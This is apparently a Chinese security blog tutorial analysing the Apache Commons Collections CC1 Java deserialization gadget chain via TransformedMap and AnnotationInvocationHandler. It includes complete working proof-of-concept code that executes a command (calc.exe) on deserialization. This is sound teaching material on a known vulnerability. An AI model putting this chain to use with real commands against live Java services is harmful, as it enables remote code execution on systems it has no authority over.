Java反序列化漏洞Apache CommonsCollections分析
cc鏈,既為Commons-Collections利用鏈。此篇文章為cc鏈的第一條鏈CC1。而CC1目前用的比較多的有兩條鏈,LazyMap和TransformedMap。在ysoserial工具中,利用的是LazyMap鏈,而我們此篇分析的則是TransformedMap鏈。
1.本文所需前置知識
java反序列化基礎
java反射基礎
文章參考:https://github.com/Maskhe/javasec/blob/master/3. apache commons-collections中的反序列化.md
2.實驗環境
JDK1.7.0_80
commons-collections-3.2.1
3.分析
3.1 Transformer接口
打開org.apache.commons.collections.Transformer類,可以看到源碼中對該類的解釋是從一個對象變為另一個對象(Transforms the input object (leaving it unchanged) into some output object.),如下圖所示:
下面我們使用一個例子來解釋這個類的作用:
當輸入Runtime.class時輸出了類的類型
我們要進行對象的轉變時候,對應的操作應該在transform方法中。
Ctrl+H 查找實現了Transformer接口的類,重點關注以下幾個類ConstantTransformer,invokerTransformer,ChainedTransformer。我們通過分析這幾個類來構造payload。
3.2 ConstantTransformer
該類使用了Transformer的接口,重寫了transformer的方法
transformer返回了iConstant變量,而這個變量在ConstantTransformer方法中被賦值。我們使用這個方法看下作用。
在return iConstant;處設置斷點,運行程序查看返回值,發現這里返回的是Runtime.class
3.3 InvokerTransformer
查看源碼說是通過反射創建一個新的對象(Transformer implementation that creates a new object instance by reflection.)
來到InvokerTransformer的transform方法:
可以明顯看到這里使用了反射的方式來調用對象的方法,還有有幾個變量iMethodName,iParamTypes,iArgs
這幾個變量是通過public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)這個構造函數傳入。
利用構造函數傳入值,調用transform方法
查看InvokerTransformer源碼找到
iParamTypes為Class[]集合
iArgs為Obeject[]集合
再查看getMethod源碼得知getMethod要傳入二個參數,類型為String,Class[]
同理invoke也要傳入兩個參數Object,Object[]
構造出方法並執行:
可以看到這里反射出了Runtime.getRuntime()的方法,而我們要構造出Runtime.getRuntime().exec();怎么辦呢,這里再介紹一個類ChainedTransformer
3.4 ChainedTransformer
查看源碼transform方法,這里是遍歷一個iTransformers[]集合,並且里面的每個參數都會調用一次transform方法並且依次拼接成一條鏈式調用,如果我們傳入InvokerTransformer作為參數,那么將調用InvokerTransformer中的transform方法執行反射操作。
利用ChainedTransformer反射鏈構造POC的步驟
new Transform[]數組 → 利用ChainedTransformer的構造方法 → 賦值給iTransformers → 調用ChainedTransformer.transform
用ConstantTransformer來構造開頭的Runtime.class對象
反射鏈最終執行的是((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");
兩點疑問:
1.為什么不可以直接通過以下構造Runtime.getRuntime().exec(),而是要通過反射構造((Runtime) Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime
沒有繼承 Serializable
接口,我們無法將其進行序列化。
而通過Runtime.class變成Class對象后,Class就繼承了Serializable。
以下為Class對象,繼承了Serializable
所以先通過先構造Runtime對象:Runtime.class.getMethod("getRuntime").invoke("null")
Runtime對象不能直接 new拿,原因是 Runtime 類的構造方法是私有的。所以要通過單例模式的靜態方法,也就是Runtime.getRuntime()拿到Runtime對象
再用Runtime對象.exec執行命令,得出完整的payload就為:
Runtime.class.getMethod("getRuntime").invoke("null")).exec("calc.exe")
2.這里invoke("null")的值為什么null。
如果method.invoke中的method為靜態方法,那么可以用null或者用類class來代替
而Runtime.getRuntime中的getRuntime是靜態方法
其中的chain.transform('1');是可以傳入任意Object對象
成功彈出計算器
應該怎么在真實的應用中觸發ChainedTransformer的transform方法,接下來尋找下調用了或者可以間接調用ChainedTransformer.transform的類,其中有兩個類LazyMap、TransformedMap。本篇文章就來講TransformedMap鏈
3.5 TransformedMap鏈
在TransformedMap中,有三處使用了transform方法,transformKey,transformValue,checkSetValue
這三處如果能傳入值ChainedTransformer,就能調用ChainedTransformer.transform。前提是符合類型
我們先看下keyTransformer,valueTransformer的類型
看到為Transformer類型,可以傳入ChainedTransformer,利用TransformedMap的三個方法transformKey、transformValue、checkSetValue觸發ChainedTransformer#transform方法,可是發現這幾個方法都是protected權限,無法被外界訪問。
那么有什么方法可以傳入ChainedTransformer,並且調用到這三個方法呢
可以通過內部類進行調用。尋找下權限為public的函數。
重點看下decorate方法傳入了keyTransformer,valueTransformer的值
put方法依次調用了transformKey,transformValue方法,而這兩個方法又調用了transform方法
我們可以通過實例化一個TransforomedMap對象,調用decorate方法傳入keyTransformer,valueTransformer的值,利用對象的put方法執行transformKey、transformValue方法,從而執行任意命令
構造的poc:
public class PocTest {
public static void main(String[] args) {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
HashMap hashMap = new HashMap();
Map decorate = TransformedMap.decorate(hashMap,null,chainedTransformer);
decorate.put("xxx","xxx");
}
}
現在我們能觸發transform了,但是要找一個類,可以利用反序列化自動觸發類似的操作,必須滿足以下條件:
這個類重寫了readObject(),並且readObject方法中能調用TransformedMap的transformKey、transformValue、checkSetValue這幾個方法
TransformedMap#transformKey
TransformedMap#transformValue
TransformedMap#checkSetValue
這里我們選擇調用了checkSetValue方法
3.6 AnnotationInvocationHandler類
此類是sun.reflect.annotation包下
在java 8u71以后,官方修改了AnnotationInvocationHandler#readObject,故無法采用此類觸發漏洞
下面是JDK1.7得AnnotationInvocationHandler#readObject
這里重寫了readObject方法,並對Map類型的屬性的entry進行了setValue操作
首先來看一個點,TransformedMap里的每個entry在調用setValue方法時,會自動調用TransformedMap類的checkSetValue方法。至於這里為什么會產生調用,來看下對於checkSetValue這個方法的注釋
翻譯過來就大概說的是,在執行setValue方法的時候,value值調用transform方法進行轉換。
這個checkSetValue方法其實是覆蓋重寫了其父類AbstractInputCheckedMapDecorator的checkSetValue方法,在父類方法中有對checkSetValue方法的解釋,調用一次setValue方法就會調用到checkSetValue方法進行值得檢查。
上面大致是我自己的理解,所以TransformedMap里的entry在調用setValue方法時,會調用到checkSetValue方法進行檢查值。
接下來我們進行分析這里是如何進行調用的
TransformedMap的entry是怎么來的
我們知道Map的Entry對象由Map.entrySet()產生,所以TransformedMap的Entry對象是TransformedMap.entrySet()
我們來看看TransformedMap.entrySet()的調用
TransformedMap類本身是沒有entrySet()方法的,它是繼承了AbstractInputCheckedMapDecorator類的entrySet方法
看return返回值是一個EntrySet對象
跟進EntrySet,發現是一個還在AbstractInputCheckedMapDecorator類中,EntrySet是一個AbstractInputCheckedMapDecorator的靜態內部類
到最后調用到.next()后,此處TransformedMap.entrySet()返回的類型就變成了AbstractInputCheckedMapDecorator$MapEntry類型。
因此得到,如果有這樣的代碼:
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通過迭代器獲取第一組值
entry.setValue(Object.class);
此時的entry變量就變成了AbstractInputCheckedMapDecorator$MapEntry類型
而示例中,entry.setValue()調用的就是AbstractInputCheckedMapDecorator$MapEntry中的setValue方法
這里的setValue中又調用了checkSetValue方法。
這里parent的值如果為TransformedMap,也就調用到了TransformedMap#checkSetValue方法
這里有個疑問,parent值是怎么傳遞進去的的?其實當進行到map.entrySet()方法的時候,TransformedMap傳進了EntrySet的構造方法的參數中,this即代表這個類
下一步EntrySet構造方法進行了this.parent = parent的賦值
我們寫一個demon來看下:
public class myTransformedMap {
public static void main(String[] args){
ChainedTransformer chained = null;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};
chained = new ChainedTransformer(transformers);
Map m = new HashMap();
Map map = TransformedMap.decorate(m,null,chained);
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 通過迭代器獲取第一組值
entry.setValue(Object.class); // 參數不重要
}
}
此處 Map.Entry entry的類型變成了AbstractInputCheckedMapDecorator$MapEntry類型
在entry.setValue(Object.class); 處下斷點,跟進發現跳轉至了AbstractInputCheckedMapDecorator.setValue,里面就是調用到了TransformedMap的checkSetValue方法
AnnotationInvocationHandler的利用
看AnnotationInvocationHandler#readObject方法中調用了var5.setValue
要是var5的值為TransformedMap的entry對象,那么就能觸發TransformedMap#checkSetValue方法了。
往上幾行看到,var5其實為this.memberValues中的其中一個entry,這里可能不太理解,所以我們把這兩行連起來看
var5 = (Entry)this.memberValues.entrySet().iterator().next();
所以,只要把this.memberValues值設置為TransformerdMap,就可以通過TransformerdMap.entrySet().iterator().next()拿到一個TransformerdMap得entry,通過拿到得entry.setValue就可以觸發TransformerdMap得checkSetValue檢查,而執行到transform
要想執行到var5.setValue,前置條件是滿足if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy))
var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type為構造函數中的第一個值var1。
在這里var1首先要繼承Annotation,而Annotation是所有注解類默認繼承的接口,我找到了兩個符合條件得注解類
java.lang.annotation.Target和java.lang.annotation.Retention
構造POC:
package com.yyhuni;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通過反射機制實例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模擬反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
POC里面包含了兩個點:
1.innerMap.put("value","asdf");的Key一定要為value,不然無法利用
具體調用這里不再分析,只是說明下:
AnnotationInvocationHandler構造函數第一個參數是Annotation的子類,且其中必須含有至少一個方法。
Key的值就是那個Annotation子類中的方法名稱value
2.AnnotationInvocationHandler類要用反射來創建
AnnotationInvocationHandler類的修飾限定符是default,意思是包訪問權限,默認只有同一個包才可以使用。
歡迎關注我的公眾號,同步更新喔